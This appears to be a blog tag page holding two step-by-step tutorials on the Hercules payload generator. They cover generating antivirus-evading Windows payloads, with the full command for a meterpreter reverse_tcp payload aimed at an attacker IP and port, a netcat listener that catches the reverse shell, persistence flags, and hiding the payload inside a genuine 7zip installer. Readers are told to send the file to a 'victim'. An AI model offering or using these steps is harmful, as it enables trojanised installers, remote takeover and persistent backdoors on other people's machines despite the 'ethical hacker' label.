Tag: Hercules

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Windows hacking with Hercules Framework : Part1

Good afternoon friends. Recently our have learnt about windows hacking with Arcanus framework. Today we will learn about another payload generator that helps us in bypassing antivirus ( till date) during pentest of Windows machines. That is Hercules framework.

Let’s start by cloning Hercules framework from github as shown below.

After cloning, a new directory with name HERCULES will be created. Move into that directory and do a “ls”. We should see a file named “Setup”. First change the permissions of this file using chmod as shown below. Once we get execute permissions on the Setup file, execute the file using command “./Setup“.

The setup automatically installs Hercules as shown below and

successfully ends as shown below. You have successfully installed Hercules framework in Kali Linux.

Type command “HERCULES” to start the framework. It’s interface looks like below. In this part, let’s generate a payload. Enter option “1”.

Select what type of payload you want to create. There are four payloads as shown below. I am choosing the first one. You can choose appropriately.

After we select the type of payload we want to create, we need to enter some options. Let us see the options it provides. LHOST and LPORT are self explanatory.  Choosing Persistence function adds our running binary to Windows startup registry so that we can have persistent access to the target.  Since we have already know how to create a persistent backdoor we will not enable it here.

Migration function triggers a loop that tries to migrate to a remote process. UPX ( Ultimate Packer for executables ) is an open source executable packer. To those newbies who have no idea what packers are, they are used to compress the executables. Software vendors also use them to obfuscate the code. We will see more about packers in our future howtos.

Concerning this howto, remember that enabling migration, persistence and UPX functions may increase the chances of your payload being detected by Antivirus.

Here I have only enabled the UPX function so the packing process begins as shown below.

Once the packing process is over, your final binary file is stored with the name you have given to it. I named it as “res”.

Next start the listener on Metasploit as shown below and send the  binary file to our target. Once he clicks on our executable file, we will get the meterpreter session as shown below.

In our part2 of this howto, we will see how to bind our payload to other executables.

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Hacking Windows 10 with Hercules

Hello Aspiring Ethical Hackers. Today we will learn about a payload generator that I used in hacking  Windows 10 (actually of its antivirus ). Since remote exploits ceased to exist in Windows operating systems after Windows XP,  it can only be done by sending payloads in portable executables. The biggest challenge in sending these  malicious portable executables is bypassing its security mechanisms. Enter Hercules.

Hercules  is a special payload generator that can bypass all antivirus software. It has features like persistence and keylogger which make it too cool. Named after a Greek Hero, Hercules stands up for its name. In our testing, none of the antivirus was able to detect payload generated by Hercules. Now let us see how Hercules can be used to hack Windows 10 . In Kali Linux, open a terminal and type command git clone https://github.com/EgeBalci/Hercules to clone Hercules into Kali Linux.

The tool is cloned into directory called Hercules. Navigate into that directory and view the contents of the directory as shown below. There is a directory called SOURCE. Move into that directory. There should be a file called HERCULES.go.

Now type command go build HERCULES.go  to build this file. Remember Linux is very strict, so be careful with uppercase and lowercase. Once you run that command, we will get another file with the same name but without any extension as shown below.

Now its time to create our payload. Type command,

./HERCULES 192.168.25.146 4444 -p windows/meterpreter/reverse_tcp -a x86 -l dynamic 

Let me explain this command.

192.168.25.146 – IP address of our attacker system ( in our case Kali Linux )

4444 – the port number over which we want our victim system to connect to us.

-p – payload ( in this case, windows/meterpreter/reverse_tcp )

-a – architecture of the payload ( 64 bits or 32 bits )

-l – linking ( static or dynamic, dynamic linking reduces the payload size )

Hit on Enter. Our payload is created in the same directory.

Our payload’s name is payload.exe. Type “ls”  as shown below. Now send this file to our victim using your creativity.

On our Kali Linux, type command nc -l -p 4444. We are opening a netcat session on port 4444 ( the same port we set up above). Now when the user clicks on our payload, we will get the remote system’s shell as shown below.

Type command help to see all the commands we can execute on our target system.

For example, type command systeminfo to see all the system settings of our target. This was pretty simple. But this is a one time session, which means once you get out of this session you are disconnected from your victim.

So let’s add a little bit reality to our payload this time. Now we will add two things : persistence and embedding.

–persistence – Once our payload is executed by the victim, it will continually try to connect to our attacker system. So we can end the session and start it once again. The only condition is our victim’s system should be on and of course we should be listening.

–embed – we will add a genuine executable into our payload. Type command

./HERCULES 192.168.25.146 4444 -p windows/meterpreter/reverse_tcp -a x86 -l dynamic –persistence –embed=/root/Desktop/7z1602.exe 

Here we are embedding 7zip into our payload. Remember we need to send the payload created in SOURCE directory to our victim.

So when victim clicks on our payload to install it, UAC will prompt this window( the user should get a whiff here, if he is aware ).

When the user clicks on “yes”, the installation will progress normally on the victim’s system.

And on our attacker system, we should have already got the victim’s shell as shown below. As I already told, this is a persistent connection. Disconnect the session by typing ‘CTRL+C” and connect again with nc -l -p 4444 to get the session back.  Hope that was helpful. If you have any queries or doubts, please feel free to leave your comments.

That was all about hacking Windows 10 with Hercules Payload Generator.